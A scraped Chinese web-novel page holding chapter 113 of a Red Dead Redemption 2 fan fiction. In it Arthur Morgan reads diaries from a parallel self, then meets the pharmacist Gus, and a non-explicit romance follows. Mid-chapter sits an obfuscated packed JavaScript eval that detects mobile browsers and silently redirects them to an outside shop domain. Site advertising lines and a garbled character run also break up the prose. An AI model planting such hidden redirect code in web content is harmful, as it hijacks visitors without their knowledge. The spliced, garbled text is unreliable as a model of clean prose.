文趣网 > 都市小说 > 游戏主角被我操作日常 > 第 113 章 碰瓷【平行世界篇】
    第113章碰瓷【平行世界篇】

    【还有很多个春天。】

    【亚瑟·摩根日记】

    三个月过去了。自从那桩事发生以后。我们的新书都快弄完了,就剩最后修改。我还想着达奇和他那伙人会聪明点,会找个安静的地方躲起来、等风头过了。没想到今天听说他们打听到康沃尔在哪,直接袭击了他。康沃尔死了。

    我不是说康沃尔不该杀,只是觉得不该是这样去审判和处决他*。而且,达奇杀他肯定不是为了什么正义。

    更要命的是约翰。那蠢货的脑子是真让狼给叼走了,又让达奇给骗了回去。当初我们把他从监狱里捞出来时,我还以为他能看清达奇是什么货色。结果?他又中枪了,又被扔在那等死。要不是莎迪得了消息,我和古斯赶过去,约翰现在已经是具尸体了。

    古斯给约翰处理伤口的时候,我看到约翰眼里那点光彩彻底死了。不是因为疼痛,是因为终于明白了达奇的真面目,那些漂亮话,自由,理想,为了大伙,全他*是屁话。达奇只在乎他自己。该死的,我们居然信了他那么久。

    约翰现在在养伤。他说要跟我们一块儿去加利福尼亚重新来过。但愿这回他是当真的。

    说起来也奇怪,以前我们天天担心子弹和绞刑架,现在却要为一本书的页数发愁。它比抢银行安全,但我越来越觉得这玩意儿在要我的命。至少子弹来得痛快。

    至于达奇,让他见鬼去吧。他已经不是我们的问题了。

    现在有新的麻烦:查尔斯跑了。狡猾的叛徒。上回他卖了我,我到现在还记得古斯那张脸,还有之后(涂抹痕迹)(涂抹痕迹)

    这回查尔斯是真跑了,丢下张纸条说什么去萨乌萨利托探路。骗子。我看他就是受不了天天改这些东西。不过至少他把该干的活儿干完了。

    我也***想跑。

    这些该死的修改和画图简直没个头。用了多少纸多少笔我都数不过来了。老实说,我真想不通谁会蠢到在野外背着这么厚一本书到处跑?碰上熊的时候拿出来打开?遇到狼时用来砸狼?

    古斯非说页数没毛病。见鬼,我们那本小册子都印第三版了。神奇的事情。以前那些活,干一票是一票,拿钱就走。这玩意不一样,本钱收回来后还一直往我们口袋里钻。更怪的是,居然有人给我们写信。

    从来没想过会有陌生人给我写信……有个孩子问我怎么把马画得跟真的一样。我就是看着真马画的,这有什么难的?古斯说我在显摆,但事实就是这样。马长什么样就画什么样,看多了自然会画。裙⒍八饲叭芭⒌铱舞㈥

    不过写书这活真比我

    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的

    干过的任何勾当都要命。抢劫至少知道什么时候结束要么成了大家喝酒庆祝要么砸了拼命跑路。这破事没完没了。

    眼下我们还藏在旅馆里也许我可以再试试那些皮带或者就随便绑着让那小混账(涂抹痕迹)(涂抹痕迹)

    该死的。我这是在想些什么乱七八糟的东西。得专心办正事才行。查尔斯跑了但何西阿还在。他看过不少书脑子也够用也许能拉他入伙。不过得跟古斯商量商量怎么下手。查尔斯就是个活生生的教训

    还有件头疼事白雪怀马驹了。估计是我们抢回来之前就已经有了难怪那几匹伙计对她没兴趣。好在我们本来就打算顺着铁路线走。等古斯搞定专利局那档事就先去路易斯安那……

    ……

    一只满是枪茧的手翻过一页一双带金环的蓝眼睛缓慢移动逐行扫过纸页上那些熟悉的……属于另一个自己的字迹。

    这个世界的亚瑟·摩根面无表情。

    这不是第一次了。

    自从画下马掌望台营地的那天开始每当他写完一篇日记第二天清晨那些潦草记录的缝隙里就会浮现来自另一个世界的记录。

    疯了?吃错了东西?还是中了邪门的巫术?——他起初是这么想的。但不管他怎样撕毁、烧掉甚至干脆更换新的日记本只要提笔写下新的一篇第二天黎明总会有新的段落从纸页深处悄然爬出。字迹和自己的一模一样像个无言的嘲讽。

    他花了老长时间才明白那确实是另一个“自己”。另一个命运另一种选择连写字的习惯、画图的笔触、甚至单词的勾法都如出一辙。但不知为何那个亚瑟活得顺当太多了。

    他刚从该死的瓜马岛爬回来肺结核发作每吸一口气都像有把锈刀在割。在这之前何西阿死了蓝尼也死了。他在日记里写下绝望愤怒这个世界的硝烟和背叛写对未来的茫然和无力。另一个他却在抱怨书页太多计算印刷费用规划长途旅行给还没出生的马驹想名字。

    同样的季节同样的日子命运却像把锯子锯给他枪火、泥泞、血和咳嗽锯给另一边掺蜂蜜的药水荒唐的领巾、皮带、戒指一起盘算的生活开销……琐事。太多的琐事。

    来自另一个男人一个年轻小鬼。个头比自己略高但不如自己结实。方向感差得惊人却能精准追踪到奥德里斯科。花钱如洒水赚钱又比谁都快。穿得整整齐齐的城里药剂师……有些古怪偏好的混账玩意。

    最重要的是药。

    那日记帮他提前救出了约翰和艾比盖尔也让他知道有那么一种

    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦

    药水。是那个叫古斯的小子配出来的,还会给另一个自己兑些甜味。但那些来自异界的词句始终未明确写下名字,只愤愤地抱怨被收缴了烟酒,活像匹在快饿死的马面前抱怨苜蓿不够味的骏马。

    他私底下不是没试过寻找,去翻市场和黑市里能寻到的所有药剂铺子,去问形迹可疑的游医,甚至拷问过几个装腔作势的骗子……一无所获。只有更深的绝望和口袋里流失的钞票。

    日记本收起,亚瑟斜倚上街角冰冷的墙壁。天还没亮透,他来得太早。诊所大门紧闭,招牌反射着灰蒙蒙的天光,一片冷硬。他需要那药水,或者至少,在彻底倒下前搞到点能让他继续撑下去的东西。哪怕是暂时的。

    他还有事没做完。帮派里的女人和孩子,不该死在平克顿的枪下,更不该给达奇那些疯狂的计划陪葬。

    晨风卷来股呛鼻的煤烟味。亚瑟低咳几声,烦躁地扫视着逐渐苏醒的街道。就在这时,视野尽头,另一处街角,忽然倒退着走出一个人影。

    ——是个年轻人。一头乱糟糟的露额深色短发,一身松垮但料子不错的衣服,干净、体面,像个读书的,神情却愕然中夹着茫然,仿佛一个迷路的富家少爷,又或者一只跳窗逃出来的家猫。

    潜在的肥羊,或者麻烦。亚瑟冷眼看着那年轻人莫名其妙原地转了一圈,似乎在拼命辨认方向,不感兴趣地移开了目光。然而,下一秒,那年轻人的目光扫过来——

    一眼。接着又是一眼。茫然迅速褪去,那双深色的眼睛亮起来了。不是好奇,不是警惕,是起了火一样,肆无忌惮地从他的帽子滑向胸膛,又从胸膛烙向腰间。

    没有恐惧,没有避让,只是股贪婪的……

    ……欣赏。

    亚瑟后颈瞬间绷紧,手本能地按向腰间。

    这他*是什么眼神?

    亚瑟不是什么不谙世事的愣头青。这种……目光,他见识过。在混乱的矿工营地,在藏污纳垢的码头酒馆。他知道有些男人就好这一口,就像有人偏爱威士忌胜过啤酒。

    更见鬼的是,另一个自己就是活生生的例子。

    但他从来没想过自己会成为被这样盯着看的对象。该死。他以为自己够吓人了:病恹恹,浑身血腥气,肩头压着弹药,腰上两把左轮,一拳头放倒个普通人绰绰有余——这小子是瞎了吗?

    可那眼瞎的小子挺直了背,随手耙了耙乱发,居然走过来了。

    “抱歉打扰,先生。”年轻人的声音比长相更年轻,带着恰到好处的笑意,视线却像钉子一样铆在亚瑟脸上:“您知道这地方几点开门吗?”

    亚瑟冷淡地瞪去一眼:“从没准时过。”

    年轻人笑意

    听说和异性朋友讨论本书情节的,很容易发展成恋人哦

    未减反倒又凑近一步:“我刚来这个地方。”他语气轻松“没想到要在门口等。”

    亚瑟懒得废话只沉默地向旁边挪了几寸。背靠着墙手离枪不远。

    年轻人恍若未觉或者说毫不在意。那双深色的眼睛依旧肆无忌惮地在他身上逡巡——

    “我不是在找麻烦先生。”他说“只是您看起来不是本地人又不像纯粹路过。”

    亚瑟终于掀起眼皮。

    “你他*常这么盯着陌生人看?”

    年轻人却笑了。

    “不常。”他答得干脆目光灼灼“只对你。先生。”

    四目相对。

    亚瑟耐心彻底耗尽拇指无声拨开枪套搭扣。但那年轻人同时安抚地举起双手。

    “请原谅我的冒昧。实在是……作为一名初来乍到、寻求合作的药剂师遇到特殊病例总难免有些职业习惯忍不住想去探究。您的症状非常……典型。我绝无恶意先生。但您的呼吸和肺部有些困扰是吧?”

    亚瑟眉头拧得更紧了。药剂师?求职?又一个卖假药的。从圣丹尼斯到瓦伦丁这种能把死人说活的骗子他见得多了。一个陌生的城里小子大清早跑来关心一个亡命徒的肺?鬼才信。

    “不劳费心。”亚瑟警告重新压低了帽檐。他只想等诊所开门没工夫应付这种可疑的人。

    “我不是那些兜售蛇油和万能药的骗子先生。”年轻人仿佛没看到拒绝

    “胸闷、咳血、夜间盗汗、体重锐减对吗?这不是普通的咳嗽和肺病您心里清楚。恰好我了解一种特殊的化合物能缓解甚至治疗这些症状。”

    “认识一下吧。”他笑容灿烂地伸出手“奥古斯图斯·普莱尔您可以叫我古斯。”

    亚瑟骤然一僵。

    呼吸间的不适清晨的寒意周遭的一切在这一瞬仿佛被抽离只剩心脏在胸腔愕然地撞击。

    他看着那只悬在半空、过分干净的手没有去握只是抬眼扫过年轻人的脸停顿了一秒。

    “……古斯?”

    “是的?”年轻人高高兴兴地应着趁机又向前滑了半步“您是……?”

    亚瑟鼻腔里喷出声短促嗤笑。脑中闪过另一个自己日记里那些恼火又无奈的字句——那个配药的、挑食抱怨的、催稿时喋喋不休的、花钱赚钱都像扬沙的……花哨小混账。

    眼前这双深色眼瞳。这毫不掩饰的、饿狼一般的眼神。这幅装出客气模样、实则一步步往前凑的混蛋做派……

    操。怪不得另一个自己要管这小子叫混账。

    亚瑟缓缓站直手从枪套移开也向前逼近半步。靠得

    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的

    不算近,却已能听见彼此的呼吸。

    “你这眼神……小子,我见过一些。但结局都不太好看。”他低低一笑。“你想要我,是吧?”

    “……?!”

    古斯原地一愣。

    ——什么情况?这发展也太快了?也就十来分钟前,他还盘算着考试失败包遣返,不如“返”得更远一点,直抵1899年,找到那个活生生的亚瑟·摩根。

    结果现在,真穿越了,真见到了喘着气的亚瑟不说,这个火辣又危险的亡命徒……这么直接的?自己精心准备的专业借口,巧妙的接近方式,在对方眼里就这么……昭然若揭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713048|145920||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?

    一股新泵出的热血卡在胸腔,不知该往上走还是下冲。古斯张了张嘴,试图掩饰,试图拼凑出些体面词句,但对上那双仿佛洞察一切、此刻正带着点玩味盯过来的蓝眼睛……

    鬼使神差地,古斯点点头。

    亚瑟好像笑了一下,又好像只是嘴角动了动。他退开半步,重新回到了那个属于陌生人的社交距离。

    “但我有肺结核,小子。”男人慢悠悠开口,像在陈述一件无关紧要的事,“让我告诉你这病是怎么找上我的——”

    “就这么个距离,我把一个叫唐斯的可怜虫打了个半死,他咳了我一脸血。”

    “我能治!”古斯脱口而出,“异烟肼和营养支持,我能帮你。”

    话音砸在清晨微凉的空气里,带着股近乎狂妄的笃定。亚瑟挑了挑眉,不说话,仿佛在等他自己咂摸出这话有多荒唐。

    古斯被这眼神刺得心头火起,干脆道:“我们可以去喝一杯,我给你解释——”

    话才出口,古斯立即后悔。酒吧?那地方龙蛇混杂,而且……

    古斯尴尬地自己反驳自己:“抱歉,你这样不能喝酒。”

    亚瑟反倒像被逗乐了。

    几丝恶劣的笑意,爬上男人的眼角眉梢。他再次向前倾身,帽檐几乎要压过来,却堪堪停在触碰到的距离。

    “小子,可能是我老了,看不懂你们城里崽子的规矩。”他语气里带着点感慨,“你想上我,却连杯酒都舍不得请?”

    古斯目瞪口呆,张口结舌,口干舌燥。

    该死。怎么这样的。原想着自己还算是个钓鱼高手……不曾想强中自有强中手,今天算是做了回咬钩的翘嘴了。

    ——但是!亚瑟钓我哎?他谁都不钓,就钓我!这代表什么?这代表亚瑟注意到了我!这翘嘴不做就亏大发了!

    “我……”古斯磕巴一下,深吸一口气,努力让自己冷静下来,“好吧,您说得对,我确实应该请您……但您现在确实不能喝酒。”

    他重新往前,压低声音:“我可以请您喝杯咖啡?或者,

    你的朋友正在书荒,快去帮帮他吧

    我们可以找个更安静的地方,谈谈治疗的事情?关于异烟肼,关于您的病情,还有……”

    他又顿了顿,眼神重新大胆地迎上亚瑟的:“关于我们之间的……其他可能性。”

    ……

    ……

    ……

    清晨,房间安静,光线慢慢爬进来。

    古斯轻手轻脚放下带来的早餐,又顺手拾起地上散落的衣服,逐一挂好。

    亚瑟平躺在床上,一只布满枪茧、指节粗壮的手露在被子外。他的呼吸均匀得过了头,像一头正努力假装什么都没发生的大猫。

    昨晚也是这样。表面一副见怪不怪、浑不在意的模样,真接触到却又开始躲闪。接着,仿佛记起某种设定,又不甘示弱地重新凑近。越是沉溺其中,越要强装镇定,直到再也绷不住,声音也要压在喉管里。

    等到面对面,古斯甚至以为那双手会掐上自己的脖子。但最终,它们只是在他背后恨恨地抓挠。

    ……好的,这种被大型猫科动物精准碰瓷的明悟,越发清晰了。

    古斯坐在床边,静静看着亚瑟装睡。窗外光线越来越亮,街上远远传来马蹄声,电车铃,还有报童的叫卖。

    他凝视着床上的男人,发现那只暴露在外的手关节微微一动,又迅速恢复安静。亚瑟的睫毛轻颤,却固执地紧闭双眼——像是察觉了动静,又像在等他先开口。

    屋里是两个人和两人份的早餐,空气里还萦绕着昨夜的气息,温热而安静。一切都还未曾言明,未来也还遥远,但这一刻,时间仿佛变得缓慢悠长,足以让一切从容发生。

    古斯没有叫醒亚瑟,也没有催促,只是坐在那里,和他一块等着——

    等阳光一寸寸铺满地板,等早餐凉到适口的温度,等属于他们的日子,一点一点,走到眼前。

    ……

    【亚瑟·摩根日记】

    遇着古斯了。

    活人。不知天高地厚的小混账。跟那本见鬼日记里一模一样。

    说不清是怎么回事。可能是因为我早就知道自己得了那该死的病,也可能是他看我的眼神……就像我还值得被人拯救似的。总之他提起药的时候,我信了他的话。

    后来……见鬼,写不出来。

    他确实有股子劲儿,比我以为的还(涂抹痕迹)(涂抹痕迹)

    但这小混账是真的混账。说请我喝咖啡,去旅馆,结果身上一个钢蹦都没有,最后还得我掏钱。

    该死的,不想写这个了。

    要紧的是,这小子好像会某种邪门巫术。他帮我调整了。过程有点(涂抹痕迹)。胸口确实松快了点,咳起来也没那么要命了。

    但这小子烦人得很。不让我抽烟,不让我喝酒,还非要我吃些怪玩意,说我这病是什么……消耗式的?更要命的是,他还要我订一堆玻璃瓶,说要做药用。那些瓶瓶罐罐,一个要好几毛,合起来又是十几块。

    见鬼,他花钱确实像洒水。不过那日记有一点说错了,他每天都能找到我。带药,带吃的,有时候还(涂抹痕迹)(涂抹痕迹)

    我不知道这算什么。我也不知道他到底想要什么。是真的想救我,还是只图个新鲜。

    加利福利亚似乎有一种魔力,今天这小子也提了,问我喜不喜欢红杉。

    说真的,这么久来,我忽然觉得,也许我还能看见明年的春天。

    (涂抹痕迹)

    也许还有很多个春天。

    作者有话要说:

    *部分“我不是说康沃尔不该杀,只是觉得不该是这样去审判和处决他”摘自亚瑟日记原文